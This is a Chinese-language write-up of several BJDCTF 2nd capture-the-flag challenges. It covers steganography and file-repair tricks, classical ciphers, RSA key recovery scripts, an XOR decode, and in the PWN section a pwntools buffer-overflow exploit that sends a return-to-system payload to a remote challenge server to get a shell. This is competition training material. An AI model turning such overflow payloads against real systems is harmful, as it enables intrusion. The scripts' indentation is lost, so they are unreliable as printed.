[WP]BJDCTF-2nd 部分题目简略的wp
各位师傅脑洞太大了,我太菜了!
MISC部分

7zip无视任何伪加密
解压后用HxD 发现应该是png的文件 ,修改文件头得到图片

十六进制的ascii 转一下得到flag

修改png图片高度得到flag 过程略

分离得到压缩包 压缩包里有个伪装程jpg的avi文件
使用ffmpeg分帧得到图片序列
发现几张图片中有二维码

整理一下扫一扫得到十六进制ascii 解密得到flag
ps:有一张二维码我分离出来是很糊的,究其原因是二维码和背景穿插在一起了,写了个小工具隔行提取像素

好分辨多了

发现图片像素部分不是很整齐,猜测在数据里加入了什么奇怪的东西。直接拖进HxD搜索BJD获得flag

伪装成png的jpg结尾有个损坏的zip,修复一下文件头提取出来

是个不是十分清楚的二维码,之前写过一个工具把01转成二维码 的
这里可以把#号和空格先转成01,再用工具来转图片
扫描得到信息:
od -vtx1 ./draw.png | head -56 | tail -28
linux下跑一跑

好像存在若有若无的信息
复制出来把00替换成空格

得到flag


属性里发现新与佛论禅密码

题目信息需要把com删掉再猜
outguess解密获得flag

发现文件名就是解压密码,但是有好多好多的压缩包套在一起
简单写了个脚本来解压
#coding:utf-8
import os
import zipfile
zipfile_addr0='C:\\Users\\80597\\Desktop\\uSCYwZqgj\\'
zipfile_addr=zipfile_addr0
pwd='uSCYwZqgj'
lastname='uSCYwZqgj'
while(1):
zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.tar.gz', 'r')
for names in zip_file.namelist():
zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii'))
pwd=names[:-7]
print(pwd)
print(names)
lastname=names[:-7]报错的时候就是解压完的时候,最终解压出一个flag文件,打开获得flag

太麻烦了没有做,大概思路是根据MP4文件的声音和图形,在 http://taqini.space/mikutap/
找到正确的输入方式,音痴听不出来声音差别,加上有几个按键的图形是一样的,不会写脚本就没做
CRYPTO部分

base64解密获得flag

标一下拼音再读一遍获得flag


按着猫吃的东西的种类转成01,获得二进制编码的ascii码,解密得到flag


对着密码表得到flag

十六进制转ascii得到一个密码和一串像flag的东西,维吉尼亚密码解密得到flag


quipqiup解密得到flag0,发现flag0最后的Cr4cy有点奇怪,改成Cr4ck提交成功。

已知p+q,p-q,e,c
#coding:utf-8
import gmpy2
import rsa
pq1=22250388048308880024316977349809341685939423162948275675947994085277054361774080494965261301741886719459528418084716960924861010295152524116880106497751522
pq2=1054197181278220421888166119550140206534865025301161131046113252425996692768421411790410456867577308951447266942967113049841752689395865305880406455068220
p=(pq1+pq2)/2
q=pq1-(pq1+pq2)/2
n=p*q
e=14354833
c=68975112462890588270208172994998743048269763196801643704249476699155516613422462080922918826015370109617536436870486169450728501884086888980608553291557303300708412437649232464407278064464958090097840631966205830777344512480936853537170969350350938450458067949421536725209001694542396593041569244275234737354
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = pow(c, d, n)
print("十进制:\n%s"%m)
m_hex = hex(m)[2:]
print("十六进制:\n%s"%(m_hex,))得到ascii码的十六进制形态,转一下获得flag

已知p^2+q^2,p-q,e,c
#coding:utf-8
import gmpy2
import rsa
p2q2=gmpy2.mpz(259870150123202155454079964196229682318882693733539125242181833753341522297911395053147840768751918376164416317984514098945599534262350832868637788562885745274992015203575025030520640189057961708030793208096741255732498859326630721887405343134923671852707579754268030462046680489211147355847068685567008847050)
pjq=gmpy2.mpz(1180860509687096025228744618117184943328163071354319023947142766094690788978515122755023082429739737904484382341771193026821616292827580560261545374978242)
e=14895131
c=gmpy2.mpz(26187382623647278373304895968254513957970995846994656651856434786558410150064637317346872011072665992032405303757734513417189115004205856776310280756771373475612428904395880721184617021494677547829121069525059620157504999409025383169676626532774335579689448879911225100594216817651872138927531391118873652889)
pq=(p2q2-pjq**2)/2
print p2q2+2*pq
pq2=gmpy2.iroot(p2q2+2*pq,2)[0]
print pq2
p=(pq2+pjq)/2
print 'p:'+str(p)
q=pq2-p
print 'q:'+str(q)
n=p*q
print p+q
print p**2+q**2
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = pow(c, d, n)
print("十进制:\n%s"%m)
m_hex = hex(m)[2:]
print("十六进制:\n%s"%(m_hex,))得到ascii码的十六进制形态,转一下获得flag
PWN

#coding:utf-8
from pwn import *
p=remote("node3.buuoj.cn",26768)
#p=process("./r2t3")
#attach(p,'b strlen')
sysaddr=0x8048430
binaddr=0x8048760
i=1
while(1):
#p=process("./r2t3")
#p.sendline('aaaaaaaa'+'\x00'+'a'*100)
p.sendline('a'*21+p32(sysaddr)+p32(binaddr)*1000)#暴力可以解决很多问题
i=i+1
print i
#try:
# print p.recv(timeout=1)
# print p.recv(timeout=1)
#except EOFError:
# p.close()
# continue
#p.close()
p.interactive()RE

IDA里shift+F12 搜索字符串得到flag

16位程序用IDA反汇编效果不是很好,从吾爱破解淘了个工具过来

虽然看不太懂,这个和1F异或还是很明显的
结合之前在IDA里找到的字符串

写脚本拿flag

#include<stdio.h>
#include<string.h>
int main()
{
char a[]="]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;";
for(int i=0;i<strlen(a);i++){
printf("%c",a[i]^0x1F);
}
}